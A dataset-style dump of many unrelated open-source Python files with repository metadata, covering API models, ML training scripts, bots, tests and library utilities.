2016-01-21T23:00:21.000Z
2016-01-21T23:00:21.000Z
""" <name>Histogram</name> <tags>Plotting</tags> <icon>histogram2.png</icon> """ from OWRpy import * import redRGUI, signals class hist(OWRpy): globalSettingsList = ['commit'] def __init__(self, **kwargs): OWRpy.__init__(self, **kwargs) self.RFunctionParam_x = '' self.col...
45.835616
149
0.554094
from OWRpy import * import redRGUI, signals class hist(OWRpy): globalSettingsList = ['commit'] def __init__(self, **kwargs): OWRpy.__init__(self, **kwargs) self.RFunctionParam_x = '' self.column = '' self.needsColumns = 0 self.inputs.addInput('id0', 'x', sign...
true
true
f7748c9b879fe3167e9fef52db0d979ed06405d7
11,722
py
Python
intersight/model/iqnpool_block_response.py
CiscoDevNet/intersight-python
04b721f37c3044646a91c185c7259edfb991557a
[ "Apache-2.0" ]
5
2021-12-16T15:13:32.000Z
2022-03-29T16:09:54.000Z
intersight/model/iqnpool_block_response.py
CiscoDevNet/intersight-python
04b721f37c3044646a91c185c7259edfb991557a
[ "Apache-2.0" ]
4
2022-01-25T19:05:51.000Z
2022-03-29T20:18:37.000Z
intersight/model/iqnpool_block_response.py
CiscoDevNet/intersight-python
04b721f37c3044646a91c185c7259edfb991557a
[ "Apache-2.0" ]
2
2020-07-07T15:01:08.000Z
2022-01-31T04:27:35.000Z
""" Cisco Intersight Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environments in more advan...
46.888
1,678
0.63624
import re import sys from intersight.model_utils import ( ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, ) def lazy_...
true
true
f7748c9f55c1c711f81c2b4462b5cf49d1a2181d
5,409
py
Python
models/modulesLib/position.py
stephen-song/Speech-Recognition
03da1d9e5162009225e3eef233abee2c478721bb
[ "MIT" ]
4
2020-05-14T21:31:39.000Z
2021-02-21T14:18:53.000Z
models/modulesLib/position.py
stephen-song/Speech-Recognition
03da1d9e5162009225e3eef233abee2c478721bb
[ "MIT" ]
null
null
null
models/modulesLib/position.py
stephen-song/Speech-Recognition
03da1d9e5162009225e3eef233abee2c478721bb
[ "MIT" ]
null
null
null
import numpy as np # noinspection PyPep8Naming from keras import backend as K from keras.engine import Layer from keras.utils import get_custom_objects def positional_signal(d_model: int, length: int, min_timescale: float = 1.0, max_timescale: float = 1e4): """ Helper function, constructi...
37.825175
117
0.659087
import numpy as np from keras import backend as K from keras.engine import Layer from keras.utils import get_custom_objects def positional_signal(d_model: int, length: int, min_timescale: float = 1.0, max_timescale: float = 1e4): if d_model % 2 != 0: raise ValueError( "Th...
true
true
f7748ce6ad8e95184e98c1065ae15093c4290be5
562
py
Python
airbyte-integrations/connectors/source-klaviyo/setup.py
darian-heede/airbyte
504580d833582f8800b334f24e57a414d94389bf
[ "MIT" ]
6,215
2020-09-21T13:45:56.000Z
2022-03-31T21:21:45.000Z
airbyte-integrations/connectors/source-klaviyo/setup.py
darian-heede/airbyte
504580d833582f8800b334f24e57a414d94389bf
[ "MIT" ]
8,448
2020-09-21T00:43:50.000Z
2022-03-31T23:56:06.000Z
airbyte-integrations/connectors/source-klaviyo/setup.py
darian-heede/airbyte
504580d833582f8800b334f24e57a414d94389bf
[ "MIT" ]
1,251
2020-09-20T05:48:47.000Z
2022-03-31T10:41:29.000Z
# # Copyright (c) 2021 Airbyte, Inc., all rights reserved. # from setuptools import find_packages, setup MAIN_REQUIREMENTS = ["airbyte-cdk~=0.1"] TEST_REQUIREMENTS = [ "pytest~=6.1", "source-acceptance-test", ] setup( name="source_klaviyo", description="Source implementation for Klaviyo.", auth...
20.814815
56
0.66726
from setuptools import find_packages, setup MAIN_REQUIREMENTS = ["airbyte-cdk~=0.1"] TEST_REQUIREMENTS = [ "pytest~=6.1", "source-acceptance-test", ] setup( name="source_klaviyo", description="Source implementation for Klaviyo.", author="Airbyte", author_email="contact@airbyte.io", pack...
true
true
f7748d3ee58465fc70a17b5045a3aeb7ba3ed12a
3,171
py
Python
idfy_rest_client/models/collection_with_paging_document_summary.py
dealflowteam/Idfy
fa3918a6c54ea0eedb9146578645b7eb1755b642
[ "MIT" ]
null
null
null
idfy_rest_client/models/collection_with_paging_document_summary.py
dealflowteam/Idfy
fa3918a6c54ea0eedb9146578645b7eb1755b642
[ "MIT" ]
null
null
null
idfy_rest_client/models/collection_with_paging_document_summary.py
dealflowteam/Idfy
fa3918a6c54ea0eedb9146578645b7eb1755b642
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ idfy_rest_client.models.collection_with_paging_document_summary This file was automatically generated for Idfy by APIMATIC v2.0 ( https://apimatic.io ) """ import idfy_rest_client.models.links import idfy_rest_client.models.document_summary class CollectionWithPagingDocu...
32.357143
130
0.582466
import idfy_rest_client.models.links import idfy_rest_client.models.document_summary class CollectionWithPagingDocumentSummary(object): _names = { "offset":'offset', "limit":'limit', "size":'size', "links":'links', "data":'data' } def __init__(...
true
true
f7748d7da94e2456bd481798facbc0bc819ac483
750
py
Python
xdtools/style/pattern_fill.py
tjcjc/xdtools
fbfa0b9ea52ab76594adea8c25157dc7b5360ed0
[ "MIT" ]
43
2018-01-19T22:14:37.000Z
2022-01-10T22:53:17.000Z
xdtools/style/pattern_fill.py
tjcjc/xdtools
fbfa0b9ea52ab76594adea8c25157dc7b5360ed0
[ "MIT" ]
3
2018-01-03T03:26:11.000Z
2021-12-31T17:21:14.000Z
xdtools/style/pattern_fill.py
tjcjc/xdtools
fbfa0b9ea52ab76594adea8c25157dc7b5360ed0
[ "MIT" ]
9
2019-08-01T14:02:08.000Z
2021-11-30T16:23:02.000Z
""" Contains the definition of PatternFill. """ from .fill import Fill class PatternFill(Fill): """ Represents an image fill style. """ def __init__(self, width, height, scale_behavior, image_href): """Instantiates this PatternFill.""" super().__init__() self.width = width ...
28.846154
81
0.628
from .fill import Fill class PatternFill(Fill): def __init__(self, width, height, scale_behavior, image_href): super().__init__() self.width = width self.height = height self.scale_behavior = scale_behavior self.image_href = image_href def __repr__(self): retu...
true
true
f7748f6d0e54dbcf4302d0f4295fea4102d9800c
558
py
Python
app/services/observers/__init__.py
fufuok/FF.PyAdmin
031fcafe70ecb78488876d0c61e30ca4fb4290af
[ "MIT" ]
56
2019-11-26T15:42:29.000Z
2022-03-10T12:28:07.000Z
app/services/observers/__init__.py
fufuok/FF.PyAdmin
031fcafe70ecb78488876d0c61e30ca4fb4290af
[ "MIT" ]
4
2020-03-20T01:51:47.000Z
2022-03-30T22:10:56.000Z
app/services/observers/__init__.py
fufuok/FF.PyAdmin
031fcafe70ecb78488876d0c61e30ca4fb4290af
[ "MIT" ]
15
2019-11-26T15:42:33.000Z
2022-03-09T05:41:44.000Z
# -*- coding:utf-8 -*- """ observer.py ~~~~~~~~ 信号, 事件增加订阅 :author: Fufu, 2019/12/20 """ from .async_with_app_demo import async_width_app_handler from .observer import Observer from .sys_admin import sys_admin_handler from .user_logined import user_logined_handler from ..events import event_user_logine...
29.368421
83
0.793907
from .async_with_app_demo import async_width_app_handler from .observer import Observer from .sys_admin import sys_admin_handler from .user_logined import user_logined_handler from ..events import event_user_logined, event_sys_admin, event_async_with_app_demo observer = Observer() observer.add(event_user_logined, user...
true
true
f7748faf0a875103fd71de2cbbf690282bf22531
11,065
py
Python
fusion/fusion_async.py
StrangeRivers/overlandos
299778383957ddfab7f565daca201d143a1aa598
[ "MIT" ]
1
2020-02-26T12:43:07.000Z
2020-02-26T12:43:07.000Z
fusion/fusion_async.py
StrangeRivers/overlandos
299778383957ddfab7f565daca201d143a1aa598
[ "MIT" ]
null
null
null
fusion/fusion_async.py
StrangeRivers/overlandos
299778383957ddfab7f565daca201d143a1aa598
[ "MIT" ]
1
2020-02-26T12:43:12.000Z
2020-02-26T12:43:12.000Z
#!/usr/bin/env python # fusion_async.py Asynchronous sensor fusion for micropython targets. # Ported to MicroPython by Peter Hinch, May 2017. # Released under the MIT License (MIT) # Copyright (c) 2017 Peter Hinch # Uses the uasyncio library to enable updating to run as a background coroutine. # Supports 6 and 9 deg...
48.108696
140
0.489833
import time import asyncio from math import sqrt, atan2, asin, degrees, radians def elapsed_micros(start_time): return time.ticks_diff(time.ticks_us(), start_time) class Fusion(object): declination = 0 def __init__(self, read_coro): self.read_coro = read_coro s...
true
true
f7748fb044ae244e7c7006a34dc0350d773f29bb
162
py
Python
pyro/infer/mcmc/__init__.py
fluffybird2323/pyro
9e74e499dbda76c28f12528235dac25bd17f0b1b
[ "MIT" ]
2
2019-01-26T01:53:31.000Z
2020-02-26T17:39:17.000Z
pyro/infer/mcmc/__init__.py
fluffybird2323/pyro
9e74e499dbda76c28f12528235dac25bd17f0b1b
[ "MIT" ]
1
2017-12-15T14:01:01.000Z
2017-12-17T03:09:06.000Z
pyro/infer/mcmc/__init__.py
fluffybird2323/pyro
9e74e499dbda76c28f12528235dac25bd17f0b1b
[ "MIT" ]
1
2018-10-02T18:50:33.000Z
2018-10-02T18:50:33.000Z
from pyro.infer.mcmc.hmc import HMC from pyro.infer.mcmc.mcmc import MCMC from pyro.infer.mcmc.nuts import NUTS __all__ = [ "HMC", "MCMC", "NUTS", ]
16.2
37
0.67284
from pyro.infer.mcmc.hmc import HMC from pyro.infer.mcmc.mcmc import MCMC from pyro.infer.mcmc.nuts import NUTS __all__ = [ "HMC", "MCMC", "NUTS", ]
true
true
f7748fd4d9f267d2a6d01a00096ec86bd87c0953
4,852
py
Python
rodan/jobs/helloworld/helloworld.py
carrieeex/Rodan
458e72990c2571fa727a0d026fb235faf30bffec
[ "MIT" ]
31
2015-01-06T17:23:45.000Z
2022-03-30T02:46:16.000Z
rodan/jobs/helloworld/helloworld.py
carrieeex/Rodan
458e72990c2571fa727a0d026fb235faf30bffec
[ "MIT" ]
258
2015-01-02T19:34:57.000Z
2022-01-19T16:34:21.000Z
rodan/jobs/helloworld/helloworld.py
carrieeex/Rodan
458e72990c2571fa727a0d026fb235faf30bffec
[ "MIT" ]
8
2015-08-19T16:09:31.000Z
2021-10-03T23:46:46.000Z
from rodan.jobs.base import RodanTask class HelloWorld(RodanTask): name = 'Hello World' author = 'Ryan Bannon' description = 'Output string "Hello World"' settings = {} enabled = True category = "Test" interactive = False input_port_types = ( {'name': 'Text input', 'minimum': ...
33.462069
96
0.57028
from rodan.jobs.base import RodanTask class HelloWorld(RodanTask): name = 'Hello World' author = 'Ryan Bannon' description = 'Output string "Hello World"' settings = {} enabled = True category = "Test" interactive = False input_port_types = ( {'name': 'Text input', 'minimum': ...
true
true
f774908ea6d3ffbd8acac8ad7710cc973e123eef
426
py
Python
day1/second.py
ackeja/adventofcode2019
07b7e2b9f69f8de8ad1fc621cbca5ba8e19c5cf3
[ "Unlicense" ]
null
null
null
day1/second.py
ackeja/adventofcode2019
07b7e2b9f69f8de8ad1fc621cbca5ba8e19c5cf3
[ "Unlicense" ]
null
null
null
day1/second.py
ackeja/adventofcode2019
07b7e2b9f69f8de8ad1fc621cbca5ba8e19c5cf3
[ "Unlicense" ]
null
null
null
import math accumulated_fuel = 0 tmp_fuel0 = 0 tmp_fuel1 = 0 with open("input") as input: for mass in input: fuel = math.floor(int(mass) / 3) - 2 tmp_fuel0 = fuel tmp_fuel1 = fuel while tmp_fuel0 >=6: tmp_fuel0 = math.floor(int(tmp_fuel0) / 3) - 2 tmp_fuel1 =...
28.4
58
0.622066
import math accumulated_fuel = 0 tmp_fuel0 = 0 tmp_fuel1 = 0 with open("input") as input: for mass in input: fuel = math.floor(int(mass) / 3) - 2 tmp_fuel0 = fuel tmp_fuel1 = fuel while tmp_fuel0 >=6: tmp_fuel0 = math.floor(int(tmp_fuel0) / 3) - 2 tmp_fuel1 =...
true
true
f77491bb790d70b3151075fe1addca729ba4428d
3,937
py
Python
dvc/repo/fetch.py
mribeirodantas/dvc
63fe2893a8a41e8999f92193d165bc75590f9955
[ "Apache-2.0" ]
null
null
null
dvc/repo/fetch.py
mribeirodantas/dvc
63fe2893a8a41e8999f92193d165bc75590f9955
[ "Apache-2.0" ]
null
null
null
dvc/repo/fetch.py
mribeirodantas/dvc
63fe2893a8a41e8999f92193d165bc75590f9955
[ "Apache-2.0" ]
null
null
null
import logging from dvc.cache import NamedCache from dvc.config import NoRemoteError from dvc.exceptions import DownloadError, OutputNotFoundError from dvc.scm.base import CloneError from dvc.path_info import PathInfo logger = logging.getLogger(__name__) def _fetch( self, targets=None, jobs=None, r...
29.380597
79
0.588011
import logging from dvc.cache import NamedCache from dvc.config import NoRemoteError from dvc.exceptions import DownloadError, OutputNotFoundError from dvc.scm.base import CloneError from dvc.path_info import PathInfo logger = logging.getLogger(__name__) def _fetch( self, targets=None, jobs=None, r...
true
true
f77493548d0ec60784bf1d93ba202e30eaaa43e1
3,125
py
Python
sapling_signatures.py
paracetamolo/zcash-test-vectors
0db0553a93282768faf95fc995d38fab74ceb9f1
[ "Apache-2.0", "MIT" ]
null
null
null
sapling_signatures.py
paracetamolo/zcash-test-vectors
0db0553a93282768faf95fc995d38fab74ceb9f1
[ "Apache-2.0", "MIT" ]
null
null
null
sapling_signatures.py
paracetamolo/zcash-test-vectors
0db0553a93282768faf95fc995d38fab74ceb9f1
[ "Apache-2.0", "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys; assert sys.version_info[0] >= 3, "Python 3 required." import os from pyblake2 import blake2b from sapling_generators import SPENDING_KEY_BASE from sapling_jubjub import Fr, Point, r_j from sapling_key_components import to_scalar from sapling_utils import cldiv, leos2ip from tv_outpu...
24.606299
68
0.52832
import sys; assert sys.version_info[0] >= 3, "Python 3 required." import os from pyblake2 import blake2b from sapling_generators import SPENDING_KEY_BASE from sapling_jubjub import Fr, Point, r_j from sapling_key_components import to_scalar from sapling_utils import cldiv, leos2ip from tv_output import render_args, r...
true
true
f7749451c7bee09dd965836ae9ef6f15ed6b9a2f
1,084
py
Python
controller/image.py
uncleben006/ptt-stock-vane
f55951eded377cc2f52fb9b98fc57c04b3ead36f
[ "MIT" ]
1
2021-01-11T06:56:59.000Z
2021-01-11T06:56:59.000Z
controller/image.py
uncleben006/ptt-stock-vane
f55951eded377cc2f52fb9b98fc57c04b3ead36f
[ "MIT" ]
null
null
null
controller/image.py
uncleben006/ptt-stock-vane
f55951eded377cc2f52fb9b98fc57c04b3ead36f
[ "MIT" ]
null
null
null
import boto3 from view import quick_reply from config import line_bot_api, s3_access_key_id, s3_secret_access_key, s3_bucket from linebot.models import TextSendMessage, QuickReply, QuickReplyButton, MessageAction from datetime import date def handle(event): user_id = event.source.user_id profile = line_bot_api...
40.148148
117
0.707565
import boto3 from view import quick_reply from config import line_bot_api, s3_access_key_id, s3_secret_access_key, s3_bucket from linebot.models import TextSendMessage, QuickReply, QuickReplyButton, MessageAction from datetime import date def handle(event): user_id = event.source.user_id profile = line_bot_api...
true
true
f77495cba5fa380ccdce3d9788683fb14d720510
8,359
py
Python
tests/test_image_validation.py
edubadges/validator
4cc7bb25db9f2ea393cd1c101662664975d8e884
[ "Apache-2.0" ]
null
null
null
tests/test_image_validation.py
edubadges/validator
4cc7bb25db9f2ea393cd1c101662664975d8e884
[ "Apache-2.0" ]
1
2020-03-12T15:23:46.000Z
2020-03-12T15:23:46.000Z
tests/test_image_validation.py
edubadges/validator
4cc7bb25db9f2ea393cd1c101662664975d8e884
[ "Apache-2.0" ]
null
null
null
import os.path import unittest import responses from requests_cache import CachedSession from openbadges.verifier.actions.action_types import STORE_ORIGINAL_RESOURCE from openbadges.verifier.actions.tasks import add_task from openbadges.verifier.reducers.input import input_reducer from openbadges.verifier.tasks impor...
48.598837
120
0.67197
import os.path import unittest import responses from requests_cache import CachedSession from openbadges.verifier.actions.action_types import STORE_ORIGINAL_RESOURCE from openbadges.verifier.actions.tasks import add_task from openbadges.verifier.reducers.input import input_reducer from openbadges.verifier.tasks impor...
true
true
f7749694424f26a7e18a9705ec45fd8002d85629
1,436
py
Python
petabtests/cases/0015/0015.py
PEtab-dev/petab_test_suite
1ff2d0c895dec90bd519e72ec226acb7573b54c9
[ "BSD-3-Clause" ]
5
2020-02-26T08:22:15.000Z
2021-07-05T13:02:28.000Z
petabtests/cases/0015/0015.py
PEtab-dev/petab_test_suite
1ff2d0c895dec90bd519e72ec226acb7573b54c9
[ "BSD-3-Clause" ]
27
2020-03-02T01:07:37.000Z
2021-03-24T22:00:11.000Z
petabtests/cases/0015/0015.py
PEtab-dev/petab_test_suite
1ff2d0c895dec90bd519e72ec226acb7573b54c9
[ "BSD-3-Clause" ]
3
2020-03-11T15:46:16.000Z
2020-07-29T22:17:02.000Z
from petabtests import * from petab.C import * import petab import pandas as pd test_id = 15 # problem -------------------------------------------------------------------- model = DEFAULT_SBML_FILE condition_df = pd.DataFrame(data={ CONDITION_ID: ['c0'], }).set_index([CONDITION_ID]) measurement_df = pd.DataF...
26.109091
78
0.600975
from petabtests import * from petab.C import * import petab import pandas as pd test_id = 15 model = DEFAULT_SBML_FILE condition_df = pd.DataFrame(data={ CONDITION_ID: ['c0'], }).set_index([CONDITION_ID]) measurement_df = pd.DataFrame(data={ OBSERVABLE_ID: ['obs_a', 'obs_a'], SIMULATION_CONDITION_ID:...
true
true
f774969a71a0d667e64e3321de21e4b87b51b2b2
7,011
py
Python
main.py
shonaka/pytorch_challenge
6e7d357e1ec1f01687664714efa2f04e64014f94
[ "MIT" ]
2
2019-01-04T21:14:40.000Z
2019-01-09T18:15:20.000Z
main.py
shonaka/pytorch_challenge
6e7d357e1ec1f01687664714efa2f04e64014f94
[ "MIT" ]
null
null
null
main.py
shonaka/pytorch_challenge
6e7d357e1ec1f01687664714efa2f04e64014f94
[ "MIT" ]
1
2019-01-08T21:18:03.000Z
2019-01-08T21:18:03.000Z
""" Main file for PyTorch Challenge Final Project """ from __future__ import print_function, division import json import yaml import time import torch import optuna from torchvision import transforms from pathlib import Path from torchsummary import summary from torchvision import models # Custom functions and classes ...
41.732143
126
0.644273
from __future__ import print_function, division import json import yaml import time import torch import optuna from torchvision import transforms from pathlib import Path from torchsummary import summary from torchvision import models from trainer.trainer import train_and_eval, objective from utils.arg_yaml import get_...
true
true
f7749705a5e1a477156cd05978763f382ecd4707
366
py
Python
python-mundo2/ex063.py
abm-astro/estudos-python
c0dcd71489e528d445efa25d4986bf2fd08f8fe6
[ "MIT" ]
1
2021-08-15T18:18:43.000Z
2021-08-15T18:18:43.000Z
python-mundo2/ex063.py
abm-astro/estudos-python
c0dcd71489e528d445efa25d4986bf2fd08f8fe6
[ "MIT" ]
null
null
null
python-mundo2/ex063.py
abm-astro/estudos-python
c0dcd71489e528d445efa25d4986bf2fd08f8fe6
[ "MIT" ]
null
null
null
print(23*'\033[31;1m_') print('\033[1;36mSEQUENCIA DE FIBONACCI') print(23*'\033[1;31m-\033[m') terms = int(input('\033[1;30mQuantos termos você quer ver? ')) cont = 1 t1 = 1 t2 = 1 print(60*'~') print('0 -> 1 -> 1', end=' -> ') cont = 3 while cont < terms: t3 = t1 + t2 print(t3, end=' -> ') t1 = t2 t2 ...
19.263158
62
0.54918
print(23*'\033[31;1m_') print('\033[1;36mSEQUENCIA DE FIBONACCI') print(23*'\033[1;31m-\033[m') terms = int(input('\033[1;30mQuantos termos você quer ver? ')) cont = 1 t1 = 1 t2 = 1 print(60*'~') print('0 -> 1 -> 1', end=' -> ') cont = 3 while cont < terms: t3 = t1 + t2 print(t3, end=' -> ') t1 = t2 t2 ...
true
true
f77497b3ec6e3f523065eb6059dfe6e1182210e6
1,223
py
Python
test/test_login_api.py
ibutsu/ibutsu-client-python
8cd34d7fc8f9a2225195ae375a17200b992dde01
[ "MIT" ]
3
2020-07-02T14:48:08.000Z
2021-11-27T14:06:33.000Z
test/test_login_api.py
ibutsu/ibutsu-client-python
8cd34d7fc8f9a2225195ae375a17200b992dde01
[ "MIT" ]
6
2020-07-07T16:13:37.000Z
2021-11-10T17:02:59.000Z
test/test_login_api.py
ibutsu/ibutsu-client-python
8cd34d7fc8f9a2225195ae375a17200b992dde01
[ "MIT" ]
5
2020-07-02T18:13:03.000Z
2021-11-03T09:21:11.000Z
""" Ibutsu API A system to store and query test results # noqa: E501 The version of the OpenAPI document: 1.13.4 Generated by: https://openapi-generator.tech """ import unittest import ibutsu_client from ibutsu_client.api.login_api import LoginApi # noqa: E501 class TestLoginApi(unittest.TestCa...
15.883117
62
0.552739
import unittest import ibutsu_client from ibutsu_client.api.login_api import LoginApi class TestLoginApi(unittest.TestCase): def setUp(self): self.api = LoginApi() def tearDown(self): pass def test_activate(self): pass def test_auth(self): pass def test_co...
true
true
f77498d1effde6e806e2b3de147aa6eeb3c4c3b5
4,734
py
Python
sdk/storage/azure-storage-file-share/samples/file_samples_directory.py
lmcarreiro/azure-sdk-for-python
0bde943383725320eaaa1408fa6264fb0cd0febf
[ "MIT" ]
null
null
null
sdk/storage/azure-storage-file-share/samples/file_samples_directory.py
lmcarreiro/azure-sdk-for-python
0bde943383725320eaaa1408fa6264fb0cd0febf
[ "MIT" ]
null
null
null
sdk/storage/azure-storage-file-share/samples/file_samples_directory.py
lmcarreiro/azure-sdk-for-python
0bde943383725320eaaa1408fa6264fb0cd0febf
[ "MIT" ]
null
null
null
# coding: utf-8 # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # --------------------------------------------------------------------...
34.304348
95
0.630334
import os SOURCE_FILE = './SampleSource.txt' DEST_FILE = './SampleDestination.txt' class DirectorySamples(object): connection_string = os.getenv('CONNECTION_STRING') def create_directory_and_file(self): from azure.storage.fileshare import ShareClient share = ShareClient.from_conn...
true
true
f77498d7e242ad09f2b0078e96a707b90afb4254
11,858
py
Python
basecam/exposure.py
sdss/basecam
526f8be1b7c83e087e8f78484e63ba18531dce87
[ "BSD-3-Clause" ]
null
null
null
basecam/exposure.py
sdss/basecam
526f8be1b7c83e087e8f78484e63ba18531dce87
[ "BSD-3-Clause" ]
18
2020-01-13T20:57:48.000Z
2021-06-22T14:43:16.000Z
basecam/exposure.py
sdss/basecam
526f8be1b7c83e087e8f78484e63ba18531dce87
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # @Author: José Sánchez-Gallego (gallegoj@uw.edu) # @Date: 2020-01-10 # @Filename: exposure.py # @License: BSD 3-clause (http://www.opensource.org/licenses/BSD-3-Clause) from __future__ import annotations import asyncio import functools import os import pathlib import r...
30.960836
87
0.599005
from __future__ import annotations import asyncio import functools import os import pathlib import re from typing import Callable, List, Optional, Tuple, Union import astropy import astropy.io.fits as fits import astropy.time import astropy.wcs import numpy from astropy.io.fits import BinTableHDU, HDUList, ImageHDU...
true
true
f77499163d89170fe06f6c6f2b6c11aefc9268d7
195
py
Python
tests/config.py
chopeen/dataverse
6c1bd6add829e25c336cee7d97702aab9994a7fc
[ "Apache-2.0" ]
681
2015-01-07T14:18:29.000Z
2022-03-28T12:26:27.000Z
tests/config.py
chopeen/dataverse
6c1bd6add829e25c336cee7d97702aab9994a7fc
[ "Apache-2.0" ]
7,286
2015-01-04T06:45:45.000Z
2022-03-31T22:57:24.000Z
tests/config.py
chopeen/dataverse
6c1bd6add829e25c336cee7d97702aab9994a7fc
[ "Apache-2.0" ]
433
2015-01-14T10:21:20.000Z
2022-03-31T12:43:08.000Z
#local = False local = True testUser = "tester" rootDv = "root" #accessURL = "http://140.247.116.223:8080/" accessURL = "http://localhost:8080/" #accessURL = "http://dvn-build.hmdc.harvard.edu"
21.666667
48
0.682051
local = True testUser = "tester" rootDv = "root" accessURL = "http://localhost:8080/"
true
true
f774992d17e7baa33b95032cafa740b50e713be7
1,042
py
Python
kubernetes_asyncio/test/test_v1beta1_stateful_set_status.py
aK0nshin/kubernetes_asyncio
aef9edcc1f8671a5b1bba9f4684bde890176b19c
[ "Apache-2.0" ]
null
null
null
kubernetes_asyncio/test/test_v1beta1_stateful_set_status.py
aK0nshin/kubernetes_asyncio
aef9edcc1f8671a5b1bba9f4684bde890176b19c
[ "Apache-2.0" ]
null
null
null
kubernetes_asyncio/test/test_v1beta1_stateful_set_status.py
aK0nshin/kubernetes_asyncio
aef9edcc1f8671a5b1bba9f4684bde890176b19c
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 OpenAPI spec version: v1.14.7 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import unittest import kube...
26.05
124
0.745681
from __future__ import absolute_import import unittest import kubernetes_asyncio.client from kubernetes_asyncio.client.models.v1beta1_stateful_set_status import V1beta1StatefulSetStatus from kubernetes_asyncio.client.rest import ApiException class TestV1beta1StatefulSetStatus(unittest.TestCase): def setUp(...
true
true
f774994e5232502e3b9e8acd780694ac075f4f62
8,254
py
Python
venv/lib/python3.6/site-packages/lazy_object_proxy/simple.py
aitoehigie/britecore_flask
eef1873dbe6b2cc21f770bc6dec783007ae4493b
[ "MIT" ]
null
null
null
venv/lib/python3.6/site-packages/lazy_object_proxy/simple.py
aitoehigie/britecore_flask
eef1873dbe6b2cc21f770bc6dec783007ae4493b
[ "MIT" ]
1
2021-06-01T23:32:38.000Z
2021-06-01T23:32:38.000Z
venv/lib/python3.6/site-packages/lazy_object_proxy/simple.py
aitoehigie/britecore_flask
eef1873dbe6b2cc21f770bc6dec783007ae4493b
[ "MIT" ]
null
null
null
import operator from .compat import PY2 from .compat import PY3 from .compat import with_metaclass from .utils import cached_property from .utils import identity def make_proxy_method(code): def proxy_wrapper(self, *args): return code(self.__wrapped__, *args) return proxy_wrapper class _ProxyMetho...
33.016
88
0.68803
import operator from .compat import PY2 from .compat import PY3 from .compat import with_metaclass from .utils import cached_property from .utils import identity def make_proxy_method(code): def proxy_wrapper(self, *args): return code(self.__wrapped__, *args) return proxy_wrapper class _ProxyMetho...
true
true
f77499cc1ed75e6b4624dbc9420ac3c10046d085
67,762
py
Python
tts/tasks.py
PeterouZh/SemiNAS
39731663271b994571160d43d796b2bb93386b3b
[ "Apache-2.0" ]
5
2020-10-10T08:39:08.000Z
2021-12-21T07:50:14.000Z
tts/tasks.py
PeterouZh/SemiNAS
39731663271b994571160d43d796b2bb93386b3b
[ "Apache-2.0" ]
2
2020-08-09T05:35:25.000Z
2020-09-26T00:22:33.000Z
tts/tasks.py
Multi-Objective-NAS/SemiNAS
41e044b49bc7fbc3cfb832ebef988fb690024b2e
[ "Apache-2.0" ]
3
2020-03-31T07:53:54.000Z
2022-01-28T11:29:07.000Z
import os import sys import json import logging import numpy as np import pandas as pd import matplotlib matplotlib.use('Agg') import torch from torch import nn import torch.optim import torch.utils.data import torch.nn.functional as F import utils import logging from text_encoder import TokenTextEncoder from preproces...
54.823625
222
0.603362
import os import sys import json import logging import numpy as np import pandas as pd import matplotlib matplotlib.use('Agg') import torch from torch import nn import torch.optim import torch.utils.data import torch.nn.functional as F import utils import logging from text_encoder import TokenTextEncoder from preproces...
true
true
f7749a8d54a4833f2a3170ad6859ff22645e8524
8,810
py
Python
alerta/auth/oidc.py
nilver/alerta
5ff6d39306e914f58aae9794f616e64d25573a27
[ "Apache-2.0" ]
1,233
2017-11-01T00:29:12.000Z
2022-03-29T04:13:09.000Z
alerta/auth/oidc.py
nilver/alerta
5ff6d39306e914f58aae9794f616e64d25573a27
[ "Apache-2.0" ]
760
2017-10-27T20:33:41.000Z
2022-03-28T17:01:41.000Z
alerta/auth/oidc.py
KiqoCode/alerta
5e6aa75b6fb7dab554d83f5efa7b505035ca26cd
[ "Apache-2.0" ]
238
2017-11-02T14:58:15.000Z
2022-03-29T03:59:20.000Z
import json from datetime import datetime, timedelta from uuid import uuid4 import jwt import requests from flask import current_app, jsonify, request from flask_cors import cross_origin from jwt.algorithms import RSAAlgorithm # type: ignore from alerta.auth.utils import create_token, get_customers, not_authorized f...
42.76699
123
0.672758
import json from datetime import datetime, timedelta from uuid import uuid4 import jwt import requests from flask import current_app, jsonify, request from flask_cors import cross_origin from jwt.algorithms import RSAAlgorithm from alerta.auth.utils import create_token, get_customers, not_authorized from alerta.exce...
true
true
f7749b0e273ff54c80ed45c18c0d181e4882abbd
2,557
py
Python
peachrosetea.py
emmawinston/peach-rose-tea
c4a2b2ed118c50637c16cdd2fe64ca7c3e053aa2
[ "MIT" ]
null
null
null
peachrosetea.py
emmawinston/peach-rose-tea
c4a2b2ed118c50637c16cdd2fe64ca7c3e053aa2
[ "MIT" ]
null
null
null
peachrosetea.py
emmawinston/peach-rose-tea
c4a2b2ed118c50637c16cdd2fe64ca7c3e053aa2
[ "MIT" ]
null
null
null
import tweepy import pycorpora import random import json import os import unidecode import time from tweepy.streaming import StreamListener from tweepy import OAuthHandler from tweepy import Stream access_token_secret="foo" access_token="foo" consumer_key="foo" consumer_secret="foo" pitches = ['57', '60', '62', '...
28.730337
100
0.614392
import tweepy import pycorpora import random import json import os import unidecode import time from tweepy.streaming import StreamListener from tweepy import OAuthHandler from tweepy import Stream access_token_secret="foo" access_token="foo" consumer_key="foo" consumer_secret="foo" pitches = ['57', '60', '62', '...
false
true
f7749b38d83e8e022728b681c7ec3aee99364376
4,578
py
Python
sdk/communication/azure-communication-chat/azure/communication/chat/_generated/models/__init__.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
2,728
2015-01-09T10:19:32.000Z
2022-03-31T14:50:33.000Z
sdk/communication/azure-communication-chat/azure/communication/chat/_generated/models/__init__.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
17,773
2015-01-05T15:57:17.000Z
2022-03-31T23:50:25.000Z
